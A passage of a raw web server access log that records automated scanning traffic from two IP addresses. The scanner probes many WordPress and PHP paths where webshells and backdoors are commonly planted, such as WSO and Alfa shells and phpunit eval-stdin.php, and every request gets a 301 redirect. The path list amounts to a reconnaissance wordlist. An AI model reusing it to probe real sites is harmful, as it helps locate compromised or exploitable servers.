Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:27 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:28 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:28 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:28 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:32:29 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:29 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:32:29 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:29 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:30 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:30 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:30 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:31 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:31 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:31 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:31 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:32 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:32:32 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:32 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:32 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:33 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:33 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:33 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:34 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:34 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:34 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:34 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:35 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:32:35 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:35 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:35 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:36 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:36 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:32:37 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:32:37 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:37 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:37 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:38 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:38 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:38 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:38 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:38 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:39 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:32:39 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:39 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:40 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:40 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:40 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:40 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:41 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:32:41 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:41 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:42 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:42 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:32:43 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:43 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:44 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:44 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:45 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:32:45 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:32:46 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:32:46 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:46 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:46 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:47 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:32:47 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:47 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:48 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:49 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:49 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:49 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:50 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:32:51 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:51 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:52 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:52 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:53 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:53 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:32:54 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:54 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:32:55 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:32:55 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:55 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:56 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:56 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:56 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:32:57 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:57 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:32:58 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:58 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:32:59 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:59 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:59 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:32:59 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:00 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:00 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:33:00 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:00 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:01 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:01 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:01 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:01 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:02 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:02 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:03 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:03 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:03 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:04 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:33:04 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:04 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:33:05 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:33:05 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:33:05 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:05 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:06 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - 